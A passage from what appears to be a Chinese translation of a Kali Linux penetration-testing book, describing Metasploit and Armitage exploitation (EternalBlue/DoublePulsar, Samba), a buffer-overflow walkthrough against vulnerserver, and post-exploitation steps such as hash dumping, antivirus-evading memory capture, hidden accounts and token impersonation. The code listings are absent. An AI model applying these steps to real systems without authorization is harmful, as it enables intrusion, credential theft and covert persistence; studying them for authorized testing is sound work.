nokogiri解析器导入到db。一旦将结果导入到db中，就可以在大型nmap数据集下使用多个选项，如图11.5所示。 图11.5 将xml格式数据导入 作为一个测试者，我们应该逐一调查任何已知的漏洞。开始的第一步，Metasploit拥有利用的集合。可以使用以下命令行搜索： samba服务返回漏洞利用的列表，列表按照各个漏洞被利用成功的相对难易进行排名。 图11.6显示了使用samba扫描漏洞的部分内容。 图11.6 使用samba扫描漏洞 因为exploit/multi/samba/usermap_script漏洞利用的排名靠前，所以剩下部分选择其作为例子。这个排名由Metasploit的开发团队确定，并注明了一个熟练的测试者如何可靠地测试一个稳定的系统的漏洞。在现实生活中，许多不确定因素（测试者的技能、网络中的保护装置、对操作系统和应用程序的修改）会对漏洞利用的可靠性产生显著影响。 有关漏洞利用的附加信息可以通过下面的命令获得： 返回的信息包括引用，如图11.7所示。 图11.7 漏洞利用的附加信息 为了对Metasploit进行演示，我们将通过该漏洞利用来攻击目标，命令如下： Metasploit将命令提示符msf>变为msf exploit（usermap_script）>。 Metasploit提示测试者选择有效载荷（例如，从遭到破坏的系统恢复的逆向外壳），同时设置其他变量，变量如下所示： ·远程主机（Remote host，RHOST）：被攻击的系统IP地址。 ·远程端口（Remote port，RPORT）：用于漏洞利用的端口号。 ·本地主机（Local host，LHOST）：用于发动攻击的系统IP地址。 设置完所有参数变量后，在命令提示符下输入渗透利用命令，发动攻击。Metasploit发起攻击，然后确认一个逆向shell已经由命令command shell 1opened启动，给出源IP地址，最后终止逆向shell。 为了验证shell是存在的，测试者针对主机名、用户名（uname-a）和whoami进行询问、查询，并确定结果是否与远程目标系统相对应，参见图11.8。 图11.8 验证shell 此漏洞可以通过使用后利用模块来进一步探讨。在后台按下组合键Ctrl+Z运行Meterpreter，你应该收到Background session 1？[y/N]y；输入y，接着是使用后利用模块post/linux/gather/hashdump，并将会话设置为1。 这个模块的输出应该公开所有用户名和密码散列，如图11.9所示： 图11.9 公开用户名与密码散列 此外，为了存储网络中增强横向移动的信息，测试人员可以在msfconsole中使用loot命令。在入侵的单个系统或多个系统中，Meterpreter中的loot命令将所有密码散列和账户信息导出到一个本地数据库中。 当一个系统被入侵到这种程度时，它已经为进行后期漏洞利用活动做好准备（参见第12章和第14章升级权限以及保持对系统的访问）。 11.2 利用MSF开发目标 Metasploit框架针对第三方应用程序的漏洞攻击效果，等同于对操作系统的漏洞攻击效果。我们将看两个场景的示例。"},
    {"text": "11.2.1 使用简单反向shell攻击单个目标 在这个例子中，我们将利用一个名为DoublePulsar的缓冲区溢出漏洞，针对那些脆弱的系统，特别是有EternalBlue漏洞的系统，Wannacry勒索软件在2017年4月震撼了世界。该漏洞存在于以Windows方式实现的SMB版中，特别是在TCP端口445和端口139上的SMBv1和NBT，它以一种不安全的方式共享数据。在系统用户的环境下，漏洞的结果是导致任意的代码都可以执行。 为了发起攻击，首先应打开msfconsole，并让Metasploit工作，如图11.10所示。 图11.10 打开msfconsole的截图 这个漏洞是相对简单的。它要求测试人员设置一个反向shell（reverse_tcp），从被击垮的系统回到攻击者的系统，即本地主机LHOST。 当利用完成时，它会打开两个系统之间的meterpreter反向shell。meterpreter提示会话将被打开，测试人员可以使用命令shell有效地访问远程系统。入侵后的第一步是验证你是否在目标系统上。正如你在图11.11中所看到的，sysinfo命令识别计算机名称和操作系统，验证成功的攻击。 图11.11 使用sysinfo验证成功的攻击 11.2.2 利用具有PowerShell攻击向量的反向shell攻击单个目标 在本节中，我们将举一个类似的漏洞利用例子，例如DoublePulsar通过SMB，在屏幕保护程序路径的处理中存在漏洞，可以使用任意路径作为屏幕保护程序的路径。这允许攻击者运行远程执行代码。如果受害者离开计算机，屏幕保护程序被设置为运行，也就是说，Windows试图定期访问屏幕保护程序，同样的漏洞每次都会被运行。 我们将使用ms13_071_theme，最初只影响Windows XP和Windows 2003。不过，它仍然适用于Windows 7和Windows 2008。现在，让我们为Metasploit装备所有必需的信息，如有PAYLOAD、LHOST和LPORT，这些信息已经填充并准备好利用，如图11.12所示。 图11.12 Metasploit装备信息 在这个漏洞利用中，我们将为ReverShell使用PowerShell攻击向量，因此我们将使用有效载荷windows/powershell_reverse_tcp。 下一步是让受害者通过SMB来打开链接；这意味着漏洞利用可能是网络钓鱼或其他社会工程技术。一旦受害者打开链接，一些用户可能会收到如图11.13所示的警告。 图11.13 一些用户收到的警告 因此，对于渗透测试人员来说，建议签署.scr文件作为一个合法的内部用户；下一步，当用户点击Run时，就是这样。 这就用PowerShell为攻击者打开了一个ReverseShell，如图11.14所示，这允许攻击者在受害者系统上运行PowerShell命令，并将特权升级到域级。 图11.14 在受害者系统上运行PowerShell命令 11.3 使用MSF资源文件的多目标渗透 MSF资源文件基本上是行分隔的文本文件，其中包括需要在msfconsole中执行的一系列命令。我们来创建一个可以在多个主机上利用相同漏洞的资源文件： 将文件保存为doublepulsar.rc，现在已经准备好通过运行msfconsole–r filename.rc来调用资源文件，-r指的是资源文件。前面的资源文件将按顺序利用相同的漏洞。一旦第一个漏洞利用完成，专门的exploit-j将把正在运行的漏洞转移到后台，允许下一个漏洞利用继续进行。一旦所有目标的利用都完成了，我们在Metasploit中就能看到多个meterpreter shell。 如果该漏洞被设计为只在一个主机上运行，则不可能进入多个主机或IP范围。但是，另一种方法是在每个主机上使用不同的LPORT号码来运行相同的利用。我们将讨论更多关于已存在的MSF资源文件的问题，这些文件可以在下一章中逐步升级特权时使用。"},
    {"text": "11.4 使用Armitage的多目标渗透 Armitage经常被渗透测试者忽视，由于测试者喜欢Metasploit控制台的传统命令行输入，而避开Armitage的图形界面。然而，Armitage在可视化选项的环境下，拥有Metasploit的功能，使其成为在复杂测试环境下的一个绝传选择。不与Metasploit不同，它允许你在同一时间测试多个目标，上限为512个。 启动Armitage，并确保已启动数据库和Metasploit服务，使用以下命令： 完成上一步之后，在命令提示符下输入armitage，并执行该命令。Armitage并不总是能正常执行，它可能需要重复启动的步骤，以确保它在正确运行。 为了发现可用的目标，你可以手动提供IP地址增加主机，或选择菜单栏上的nmap扫描添加主机。Armitage还可以使用MSF辅助命令或DNS枚举来列举目标。 Armitage可以从下列文件获得主机的数据：Acunetix、amap、AppScan、Burp proxy、Foundstone、Microsoft Baseline Security Analyzer、Nessus NBE和XML files、NetSparker、NeXpose、nmap、OpenVas、Qualys，以及Retina。Armitage启始界面如图11.15所示。 图11.15 Armitage启始界面 Armitage允许通过右击选择一个主机，设置该主机的标签，然后选择一个主机（host）菜单，并且选择设置标签（set Label）功能。这允许你使用一个共同的名字来标记某个特定的地址或确认主机，当使用基于团队的测试时，这是很有帮助的。这个过程如图11.16所示。 图11.16 设置主机标签 Armitage还支持动态工作空间——网络的筛选视图，可以将网络标准、操作系统、开放的端口和服务、标签等作为筛选的条件。例如，你可以测试一个网络，并确定几个服务器，但是不出现该网络的其他剩余内容。给它们一个标签，让这些内容能够突出显示，然后将它们放置在一个优先级的工作空间中。 一旦在网络上确定了目标系统，就可以选择特定的模块作为实现漏洞利用过程的一部分。你还可以使用菜单栏中的攻击（Attacks）选项来查找攻击方法。 右击所利用主机，点击攻击（Attacks）菜单，选择一个漏洞（确保设置正确的主机操作系统，这并不总是自动发生）。 一个有趣的选项是Hail Mary，位于攻击（Attacks）菜单下。通过选择这个功能，所有识别系统都会自动对漏洞目标进行攻击，以达到可能击垮目标的最大数量，如图11.17所示。 图11.17 选择Attacks后的截图 这是一个非常嘈杂的攻击，因此应该被用来作为测试选择的最后手段。这也是一个很好的方式，用来确定是否安装好了入侵检测系统，并且配置正确！ 被击垮的系统显示为一个带电火花的红色边界图标。在图11.17中，两个测试系统已经被击垮，在这些系统和测试者之间有四个活动会话。活动会话（Active Sessions）面板表示这个连接，并确定了哪些漏洞会成为攻击目标。图11.18代表了不同的选择。 图11.18 被攻击主机与测试者之间的活动会话 在渗透测试进行的过程中，Hail Mary选择确定了目标的两个可利用的漏洞，并且启动了两个活动会话。手工测试同一目标，最终确定了8个可利用的漏洞，在被击垮的系统和测试之间建立了多条通信通道。在真实世界这种类型的测试强化了这种类型的优点，并且强化了在渗透测试过程中使用自动化工具的弱点。 11.5 使用公开的漏洞 所有的攻击者都用自己的眼睛在最大范围内寻找公共漏洞，并根据他们的要求对其进行修改。在2017年4月14日，最新的攻击EternalBlue震撼了整个互联网世界，让人们意识到什么是勒索软件。自然，在本节中，我们将深入探讨如何利用已知的漏洞利用论坛，以及如何将它们加入到我们的Kali Linux中。"},
    {"text": "11.5.1 定位和验证公开可用的漏洞 通常情况下，渗透测试人员在测试中发现了0-day漏洞会告知公司。然而，在真实情况下，发现的任何漏洞都将被利用，为了金钱/名誉而出售。渗透测试的一个重要方面是在互联网上找到公开可用的漏洞，并提供正确的概念证明。 因特网上诞生的最早的漏洞数据库是Milw0rm；使用相同的概念，我们可以看到多个相似的数据库，这些数据库可以被渗透测试社区使用。以下是攻击者寻找漏洞的常用地点列表： ·Exploit-DB（EDB）：名字说明它是一个数据库档案，它是互联网上的公共漏洞，以及漏洞的软件版本。EDB是由漏洞研究人员和社区的渗透测试人员发展起来的。为使其在渗透测试或红队测试中更有价值，渗透测试人员经常使用Exploit-DB作为概念的证明，而不是咨询。 作为版本的一部分，EDB嵌入到了Kali Linux 2.0中，它使得通过Searchsploit搜索所有可用的漏洞变得相当简单。EDB的优点是CVE（常见的威胁和暴露）兼容，并且无论在哪里使用，这些漏洞都将包括CVE的详细信息。 ·Searchsploit FTP Windows remote：Searchsploit是Kali Linux中的一个简单实用工具，可以通过关键词搜索找到来自EDB的所有攻击，从而缩小攻击范围。打开终端并输入searchsploit后，您应该能够看到如图11.19所示的内容。 图11.19 使用searchsploit ·SecurityFocus：SecurityFocus是另一个信息源，其中所有公开披露的漏洞都与它们的共同漏洞和曝光（Common Vulnerabilities Exposures，CVE）一起发布。 让我们到 http://www.securityfocus.com/ 导航并搜索所有的漏洞。现在，攻击者应该能够看到如图11.20所示的界面，它允许渗透测试人员找到所有产品的所有漏洞。 在SecurityFocus中，所有报告的漏洞都以投标的形式存储。它包括的每个漏洞的主要部分如图11.21所示。 图11.20 在 http://www.securityfocus.com/ 寻找漏洞 图11.21 漏洞信息 以下是在 http://www.securityfocus.com/ 中漏洞时可用的选项列表： ·info：提供了漏洞和受影响平台的详细信息以及缺陷跟踪ID（bugtrack ID）。 ·discussion：提供了关于报告漏洞的详细信息。 ·exploit：如果有任何该公开漏洞的利用代码，那么它就可以下载。 ·solution：提供最新的服务包详细信息和热修复细节。 ·reference：包括所有的讨论、缺陷跟踪参考和对报告漏洞的解决方案参考。 11.5.2 编译和使用漏洞 攻击者将整理、编辑、发布所攻击的相关材料，使它们成为攻击脆弱目标的武器。在本节中，我们将深入研究不同类型的文件，并添加Ruby所写的所有代码，将msf核心作为Metasploit模块的基础。 1.编译C文件 老版本的攻击是用C语言编写的，尤其是缓冲区溢出攻击。让我们举一个从EDB编译C文件的例子，并对脆弱的Apache服务器进行攻击。 攻击者可以利用GNU编译器集合将C文件编译成可执行文件，如图11.22所示。 图11.22 使用GNU编译C文件 2.添加Metasploit框架编写的漏洞利用作为基础 根据漏洞利用的平台和类型，从exploit-db.com或/usr/share/exploitdb中复制文件。 在这个例子中，我们将/usr/share/exploitdb/platforms/windows/remote/16756.rb作为一个自定义漏洞利用添加到Metasploit模块，如图11.23所示，并将文件移动到.msf4/modules/exploits/windows，命名为myown.rb文件。 图11.23 复制文件 将文件移动到位置后，必须重新启动msfconsole，以确保将文件加载到Metasploit可用的模块中。你设置该模块为Metasploit模块的一部分，你可以用自定义名称来搜索该模块，如图11.24所示。 图11.24 搜索自建模块 11.6 开发Windows漏洞 攻击者必须对汇编语言有一个准确的理解，以开发定制的攻击。在本节中，我们将介绍一些基础知识，通过构建一个我们自己的漏洞利用程序来开发Windows漏洞。 从开发的角度来看，以下是一份渗透测试人员在开发中必须理解的基本术语的列表： ·寄存器（Register）：所有的进程通过寄存器执行，它被用来存储信息。 ·x86：这包括以英特尔为基础的32位系统；64位系统被表示为x64。 ·汇编语言（Assembly language）：这包括一种低级的编程语言。 ·缓冲区（Buffer）：这是一个程序中的静态内存持有器，它将数据存储在栈或堆的顶部。 ·调试器（Debugger）：调试器是可以在执行时用来查看程序运行的程序，也可以查看注册表和内存的状态。我们将使用的工具包括免疫调试器、GDB和ollydbg。 ·Shell代码（ShellCode）：这是由攻击者在成功开发中创建的代码。 以下是不同类型的寄存器： ·EAX：这是一个32位的寄存器，它被用作一个累加器，存储数据和操作数。 ·EBX：这是一个32位的基础寄存器，并充当数据的指针。 ·ECX：这是一个用于循环的32位寄存器。 ·EDX：这是一个32位的数据寄存器，它存储一个输入/输出指针。 ·ESI/EDI：这些是32位的索引寄存器，它充当所有内存操作的数据指针。 ·EBP：这是一个32位的栈数据指针寄存器。 ·扩展指令指针（Extended Instruction Pointer，EIP）：这是一个32位程序的计数/指令指针，它保存下一个要执行的指令。 ·扩展栈指针（Extended Stack Pointers，ESP）：这是一个32位的栈指针寄存器，它精确地指出栈指向的位置。 ·SS、DS、ES、CS、FS和GS：这些是16位段寄存器。 ·NOP：表示没有操作。 ·JMP：这代表跳转指令。"},
    {"text": "11.6.1 模糊识别漏洞 攻击者必须能够识别任何给定应用程序中正确的模糊参数，以找到漏洞并加以利用。在本节中，我们将举一个由Stephen Bradshaw创建的易受攻击的服务器的例子。这个脆弱的软件可以从 http://sites.google.com/site/lupingreycorner/vulnserver.zip 下载。 在本例中，我们将使用Windows 7作为受害者运行的一个易受攻击的服务器。 一旦下载了应用程序，我们就解压缩文件并运行这个服务器。这需要打开TCP的9999端口，连接到远程客户端，当脆弱的服务器启动并运行时，你能够看到如图11.25所示的界面。 图11.25 有漏洞的服务器 攻击者可以通过netcat连接到端口9999上的服务器来与服务器通信，如图11.26所示。 模糊技术是一种技术，攻击者专门向目标发送错误的数据包，从而在应用程序中产生错误，或者造成一般的故障。这些故障会在应用程序中造成bug，并找出如何通过运行自己的代码来实现远程访问。现在应用程序是可访问的，设置完成后，攻击者可以开始使用模糊技术。 图11.26 端口9999上的通信 尽管有许多模糊工具可用，但是在Kali Linux 2.0版本中，SPIKE是默认安装的。SPIKE是一个模糊工具包，通过提供脚本功能可以创建模糊工具；但它是用C语言编写的。有一组SPIKE编写的编译器可以使用： ·generic_chunked ·generic_send_tcp ·generic_send_udp ·generic_web_server_fuzz ·generic_web_server_fuzz2 ·generic_listen_tcp SPIKE允许添加自己的脚本集，而不必用C编写几百行代码。 访问应用程序的攻击者可以看到易受攻击服务器中可用的多个选项。这包括部分有效输入命令：STATS、RTIME、LTIME、SRUN、TRUN、GMON、GDOG、KSTET、GTER、HTER、LTER和KSTAN。我们将使用generic_send_tcp编译器来模糊应用程序；使用编译器的格式如下： 以下是详细说明的参数： ·host：这是目标主机或IP。 ·port：这是连接的端口号。 ·spike_script：这是在编译器上运行的SPIKE脚本。 ·SKIPVAR和SKIPSTR：这使测试人员能够进入SPIKE脚本中模糊会话的中间位置。 让我们继续创建一个简单的SPIKE脚本，以重新读取和运行SRUN，并分配一个字符串值作为参数： 在连接到IP/主机名之后，读取前面三行的第一行，然后运行SRUN并随机生成一个值。现在，让我们将这个文件保存为exploitfuzzer.spk。对目标运行SPIKE脚本，如图11.27所示。 图11.27 运行自己编写的脚本 模糊确认没有服务器崩溃或其他任何事情，因此，SRUN的参数并没有漏洞；现在，下一步是选择另一个。这次我们将选择TRUN作为参数： 保存exploitfuzz.spk文件并运行相同的命令，如图11.28所示： 图11.28 运行exploitfuzz.spk 你现在应该能看到受害者计算机上的服务器崩溃了，Windows还提供了有用的信息，我们可以看到异常偏移41414141（转换为AAAA），如图11.29所示。 现在我们知道，脆弱的命令TRUN造成了崩溃，我们必须关注导致崩溃的原因。这可以通过运行wireshark来完成，它将为我们提供导致服务器崩溃的确切请求。 1）用正确的以太网适配器运行wireshark。 2）重复利用模糊处理器（generic_send_tcp target port exploitfuzz.spk 00）。 3）用过滤器tcp.port==9999过滤wireshark。 4）右键单击该包遵循TCP流。你应该能看到如图11.30所示的界面。 图11.29 看到的Windows信息 图11.30 TCP流 现在让我们继续编写一个简单的Python程序来击垮服务器。使用一个简单的套接字程序连接到IP，并使用10000*Z的缓冲区来运行该命令，下面的代码提取提供了对应用程序漏洞进行模糊处理和调试的第一步。 将文件保存为crash.py，并在目标IP上运行它，你可以看到server dead，服务器最大缓冲为10000，这意味着Z*10000作为输入会使服务器崩溃，如图11.31所示。 图11.31 server dead 现在，下一步是确定到底有多少字符导致了服务器崩溃，以及可以使用的缓冲区大小。在服务器端，我们必须调试应用程序。为了进行调试，我们将从 https://www.immunityinc.com/products/debugger/ 下载免疫调试器。这些调试器主要用于查找漏洞，分析恶意软件并逆向工程任何二进制文件。 关注易受攻击的服务器，加载vulnerableserver.exe到免疫调节器，然后运行该应用程序，如图11.32所示。 图11.32 运行vulnerableserver.exe 下一步是使用Metasploit框架，通过定位文件usr/share/metasploit-framework/tools/exploit/并且在终端运行./pattern_create-l 4000创建一个模式，如图11.33所示。 图11.33 创建pattern 你可以将生成的内容输出到一个文件中，也可以从终端中复制或者通过添加其他变量来添加到Python程序中。这一次，我们将禁用缓冲区，并使用由开发工具创建的模式，其长度为4000，代码如下所示。 再一次针对目标运行crash.py，将导致服务器再次崩溃，并且所有的Z字符都被所创建的模式所取代。在脆弱的服务器上，我们能够看到来自免疫调试器的寄存器，它提供了存储在EIP中的下一条指令，如图11.34所示。 图11.34 在脆弱服务器上看到寄存器 现在，模糊处理结束了。接下来，我们将重点讨论如何创建特定的Windows漏洞。"},
    {"text": "11.6.2 制作特别的Windows漏洞 要创建特别的Windows漏洞，我们必须确定EIP的正确偏移量。这可以通过使用漏洞利用工具，如patter_offset来提取，这些工具使用了EIP的输入，其长度与创建模式的长度相同： 这意味着在创建的模式中使用EIP找到了偏移匹配。现在我们知道，缓冲2002已经足以让服务器崩溃，我们可以开始溢出。 下一步是发现EIP寄存器存储的汇编JMP ESP的操作码。在免疫调试器中，查看可执行模块并选择essfunc.dll，如图11.35所示。 图11.35 查看可执行模块 右键单击并搜索命令，输入jmp esp。我们应该能够看到第一个jmp esp寄存器的CPU线程。复制地址625011AF FFE4JMP ESP，如图11.36所示。 图11.36 CPU线程 625011AF是存放汇编操作码的位置。下一步是将地址转换为xAF\\x11\\x50\\x62的shell代码。 使用msfvenom创建一个Windows有效负载，在终端上运行下面的命令，该命令将在攻击者的IP上提供一个meterpreter反向shell。 最后，我们处于完成开发的最后阶段，通过添加NOP，然后溢出缓冲区，并将shell代码写入运行的脆弱服务器系统。下面的代码是利用脆弱服务器的完整Python代码： 一旦利用完成，请确保监听器正在运行，如图11.37所示。 图11.37 监听器正在运行 现在一切都已经设置好了，攻击者可以使用Python编程来执行和制作Windows特定的漏洞。下一步是从终端运行crash.py，如下代码所示。 成功利用shell代码覆盖了缓冲区，然后作为一个反向shell给攻击者，如图11.38所示。 图11.38 攻击成功 11.7 小结 在这一章中，我们将重点放在漏洞利用的基础上，以及介绍将侦察发现转化为确定行为的不同工具，从而在测试人员和目标之间建立正确连接。 Kali提供了多个工具来促进开发、选择和激活利用，包括内部的Exploit-DB数据库，以及一些简化了使用和管理的框架。我们深入了解了Metasploit框架，使用Armitage管理多个shell，我们还学习了如何将不同类型的Exploit-DB文件编译成真正的漏洞利用软件。 我们还关注如何通过识别不同的模糊技术，并将shell代码加载到自定义的漏洞中来制作Windows的漏洞。 在下一章中，我们将学习攻击者杀链最重要的部分和后期利用、特权升级、网络中的横向移动、域信任和端口转发。 第12章 行动的目的 “一个真正的目标始终是战术性的、精确的、有形的、具体的。” 如果将利用一个系统定义为渗透测试的目的，那么在目标上的行动是测试者的真正目的。这一步表明了漏洞的严重程度，以及它对组织的影响。本章将重点介绍即时的后期利用活动，也关注横向升级方面——使用有漏洞系统作为起点，跳转到网络上的其他系统的过程。 在本章结尾，你将学到以下知识： ·本地特权升级。 ·后期利用工具。 ·目标网络内的横向运动。 ·妥协域信任。 ·枢轴和端口转发。 12.1 在入侵本地系统上的活动 通常，很有可能获得一个系统的Guest或User访问权限。攻击者获得重要信息的能力，将受到降低的权限级别的限制。因此一个常见的后期利用行为是将访问权限从Guest级别不断提升到User，再到Administrator，最后到SYSTEM级别。这种提升访问权限的方式通常被称作垂直升级（vertical escalation）。 ·用户可以通过一些技术来获得高级访问凭证，包括以下几个方法： ·使用网络嗅探器、键盘记录器，来捕获传送的用户凭证（dsniff可以用来分离正在进行的传输中的密码，或者从Wireshark或tshark会话中保存的一个pcap文件）。 ·对本地存储的密码进行一个检索。有些用户收集电子邮件文件夹的密码（经常被称为password），由于密码重复使用，简单的密码系统是很常见的，所以找到那些密码，并在升级的过程中使用。 ·NirSoft（ www.nirsoft.net ）开发了几款免费的工具，可以上传到入侵系统中，使用meterpreter从操作系统和缓存密码的应用程序（邮件应用程序、远程访问软件、FTP和网络浏览器）中分离出密码。 ·使用meterpreter等应用程序来转储SAM和SYSKEY文件。 ·当一些应用程序加载时，它们使用特殊的顺序读取动态链接库（dynamic link library，DLL）文件。创建一个与合法DLL同名的假DLL文件是可能的，把它放在一个特定的目录位置，让应用程序加载并执行它，最终实现攻击者的权限提升。一些应用程序容易受到DLL劫持（ www.exploit-db.com/dll-hijacking-vulnerable-applications/ ）。 ·使用利用缓冲区溢出，或其他手段来提升权限的渗透方式。 ·通过meterpreter执行getsystem脚本，自动地将管理员权限提升到系统级别。 12.1.1 对已入侵的系统进行快速侦察 一旦系统被入侵，攻击者需要获得有关该系统的关键信息，它的网络环境、用户和用户账号等信息。通常情况下，他们将在shell提示符下输入并调用一系列命令或脚本。 如果被入侵的系统是基于UNIX平台的，典型的本地侦察命令见表12.1。 表12.1 UNIX平台的本地侦察命令 这些命令包含了可用选项的简要说明。完整信息请参考相应的命令的帮助文件，在哪里可以了解如何使用命令的选项。 对于Windows系统，命令形式如表12.2所示。 表12.2 Windows系统下的侦察命令"},
    {"text": "12.1.2 找到并提取敏感数据——掠夺目标 术语掠夺（pillaging，有时也称为pilfering）是黑客成功攻击计算机系统后的延续，这些黑客像海盗一样尽最大可能偷窃和毁坏目标。这个术语已经流传下来，特指当一个系统被攻占后，攻击者完成偷窃和修改个人财产以及财务数据的行为。 之后，攻击者聚焦在第二目标——系统文件，利用这些系统文件提供的信息来支持另外的攻击。第二目标的文件的选择依赖于目标的操作系统。举个例子来说，如果系统是UNIX，那么攻击者就会把下列文件作为工作目标： ·系统和配置文件（通常在目录/etc下，但也可能在/usr/local/etc，或者是其他位置）。 ·密码文件（/etc/password和/etc/shadow）。 ·配置文件和在.ssh目录中的公钥和私钥。 ·可能包含在.gnupg里的公钥和私钥环。 ·电子邮件和数据文件。 在Windows系统中，攻击者会将以下文件作为攻击目标： ·可被用来提取口令、加密密钥等的系统内存。 ·系统注册表文件。 ·安全账号管理（Security Accounts Manager，SAM）数据库，包含口令的散列版本或者SAM ·数据库的替代版，可以在%SYSTEMROOT%\\repair\\SAM与%SYSTEMROOT%\\System32\\config\\RegBack\\SAM中找到它。 ·任何用于加密的口令文件或者种子文件。 ·电子邮件和数据文件。 别忘了检查包含临时项目的文件夹。举个例子，UserProfile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\可能包含让人感兴趣的文件、图片、和cookies。 如上所述，这些系统内存包含了大量的攻击者可以利用的信息。因此，它通常是一个你需要优先获取的文件。系统内存可以从几个来源下载，下载文件是一个独立的映射文件，这些来源如下： ·通过上传一个工具到被攻击的系统然后直接复制内存（这些工具包括Belkasoft RAMcapturer、MandiantMemoryze和MonsolsDumpIt）。 ·通过复制Windows冬眠文件hiberfi l.sys，然后利用Volatility来解密和分析文件。Volatility，在Kali中Forensics菜单中可以找到，是一个分析内存的框架，内存可以来自系统RAM，以及其他包含系统内存的文件。它依赖于写在Python中的插件来分析内存和提取数据，这些数据包括加密密钥、口令、注册信息，以及其他相关信息。 ·通过复制一个虚拟机，然后将VMEM文件转化为内存文件。 如果你上传一个设计的程序，在被攻击的系统中来抓取内存，有可能这个特殊的应用会被杀毒软件识别为恶意软件。大多数的杀毒软件能识别散列签名和内存获取软件的行为，如果物理内存的敏感数据有被泄露的风险，它就会通过拉响警报来保护物理内存的敏感数据。获取软件将被隔离，目标会收到一个关于这个攻击的警告报警。 为了避免这种情况的发生，用Metasploit框架，使用命令来运行在目标内存中的可执行文件，这个命令如下： 前面执行的命令calc.exe是一个假的可执行文件，但是，实际上上传了内存获取执行文件，并在它的进程空间中运行。 这个可执行文件并不显示在程序列表中，例如任务管理器（Task Manager），并且使用数据取证技术的检测更加困难，因为它并不写到硬盘中。此外，它会避开系统的杀毒软件，因为它一般不在内存空间去搜索恶意软件。 物理内存一旦被下载，利用Volatility框架，内存就可以被分析，Volatility框架是设计来取证、分析内存的一系列Python脚本。如果操作系统支持，Volatility将会扫描内存文件并提取下列内容： ·图片信息和系统数据，充分到可以将映像与源系统联系在一起。 ·运行进程、DLL、线程、套接字、连接和模块。 ·开放的网络套接字和连接，最近打开的网络连接。 ·内存地址，包括物理的和虚拟的内存映射。 ·LM/NTLM散列和LSA私钥。LanMan（LM）口令散列是微软保护口令的初衷。这么多年过去了，现在它已经很容易被攻击，而且很容易将这些散列恢复成实际的口令。NT LanMan（NTLM）是最新的抵抗攻击的散列。然而，它们通常和NTLM版本一起存储，以达到向后兼容的目的。本地安全权威（Local Security Authority，LSA）存储的密钥是本地的口令：远程访问（有线的和无线的）、VPN、自动登录口令，等等。任何存储在系统的口令都是脆弱的，特别是当用户重复使用口令时。 ·特定的正则表达式或字符串存储在内存中。 创建附加账户 下面的命令是具有高度侵略性的，通常会被系统拥有者在应急响应程序中检测到。然而，它们会频繁地被一个攻击者采用，以此来转移对更持久的访问机制的注意，相关的命令参见表12.3。 表12.3 一些具有高度侵略性的命令 如果你创建一个新的用户账户，那么该账户会被任何一个登录进入被攻击系统的欢迎界面的用户注意到。为了使这个账户不可见，你需要用下列的REG命令行修改注册表： 这个命令将修改指定的注册表来隐藏用户账户（/V）。基于目标的特别的操作系统版本，会有一些特别的语法要求，因此，首先得确定Windows版本，并且在攻击目标之前，在一个可控的环境中验证它。"},
    {"text": "12.1.3 漏洞利用后期工具（MSF、Veil-Pillage框架、脚本） Metasploit被用来支持渗透和后期渗透利用活动。目前的版本包括大约200个模块，模块简化了后期利用活动。我们将讨论一些最重要的模块。 在下面的屏幕截图中，我们成功地渗透了一个Windows XP系统（一个“经典”的攻击，经常被用来验证Meterpreter的复杂性）。第一步就是直接侦察网络和被攻击系统。 初始的meterpreter shell，在一段时间内是脆弱的和易受攻击的。因此，一旦一个系统被渗透，我们将移动这个shell，然后将其和一个更加稳定的进程绑定在一起。这样也会使得渗透更难被检测到。在meterpreter的提示下，输入ps来获得一系列的运行进程，如图12.1所示。 图12.1 使用meterpreter，输入ps来获得进程列表 ps命令会返回每个进程的完整路径。在图12.1中，这点被忽略了。ps列表标明c：\\windows\\Explorer.EXE正在运行。在这个特殊的例子中，它被识别为ID为1460的进程，如图12.2所示。由于这是一个稳定的应用，我们将把shell移动到这个进程中。 图12.2 将shell移动至ID为1460的进程 我们必须确认的第一个事实是：我们是否在一个虚拟机上？使用meterpreter，打开受损系统和攻击者之间的会话，执行run post/windows/gather/checkvm命令，如图12.3所示。 返回的数据表明，这是一个VMware虚拟机。 图12.3 执行命令后返回的数据 一些通过meterpreter使用的重要的后期利用模块见表12.4。 表12.4 meterpreter的重要的后期利用模块 例如，让我们在入侵的系统上运行winenum，它将转储系统所有的重要的注册表项、LM散列、横向运动和特权升级。这可以通过在meterpreter shell上执行run winenum来实现，如图12.4所示。 图12.4 执行run winenum 你将看到确认信息：All tokens have been processed（所有的确认令牌已被处理），如图12.5所示。 攻击者可以通过使用meterpreter和改名模块来假冒会话令牌。最初，它是一个独立的模块，通过使用会话令牌来创建一个模拟用户。这些类似于网络会话的cookie识别用户，而不必每次都要求输入用户名和密码。对于同样的情况，这里通过使用令牌来应用于计算机和网络。 图12.5 确认信息 攻击者可以通过在meterpreter shell执行use incognito来运行incognito，如图12.6所示。 图12.6 运行incognito 例如，如果本地用户使用了meterpreter shell，现在将用户令牌模拟为系统用户NT Authority，普通用户可以享受系统用户的特权。 为了运行这个模拟，攻击者可以从metpreter shell运行impersonate_token，如图12.7所示。 图12.7 运行impersonate_token"},
    {"text": "12.1.4 Veil-Pillage Veil-Pillage是一个模块，作为主要Veil框架的一部分开发，攻击者可以在后期开发过程中使用该模块。在本节中，我们将简要介绍一下Veil-Pillage的组织方式，以及可用于实现渗透测试目标的不同类型。图12.8描述了Veil-Pillage框架的主要部分： 图12.8 Veil-Pillaged主要部分 Pillage框架中所有可用模块的更多详情如下： ·凭证（Credentials）：提供一个模块列表，用于抓取所有证书，并且哈希转储入侵系统的有效用户名和密码。 ·枚举（Enumeration）：本节提供了一个模块列表，专门用于枚举域网络，同时提供了一个验证凭据的模块。 ·碰撞（Impacket）：可以用来运行不同类型的shell（SMB、PsExec）。 ·管理（Management）：管理和升级特权，如启用远程桌面、注销和检查UAC等。 ·有效载荷传递（Payload_delivery）：一个模块列表，用于传递不同种类（如EXE和PowerShell）的有效载荷。 ·持久性（Persistence）：包括在持久性会话中的关键模块，例如添加本地和域用户、查找粘滞键，等等。 ·强应用（Powersploit）：掠夺的最重要的部分，其中模块被设计为远程代码执行，数据提取和运行自定义的PowerShell漏洞。 Veil-Pillage可以直接从GitHub的终端： https://github.com/Veil-Framework/Veil-Pillage 运行git clone。 一旦Git被克隆，cd Veil-Pillage/，通过运行./update.py来更新最新程序包。Git clone满足旧版本的impacket，它可能不会运行Veil-Pillage，因此建议运行pip install impacket==0.9.13。 下载应用程序后，可以从克隆的位置./Veil-Pillage.py运行./Veil-Pillage.py，将看到如图12.9所示的界面。 图12.9 运行Veil-Pillage 面临未找到模块的错误提示消息的测试人员，例如“No 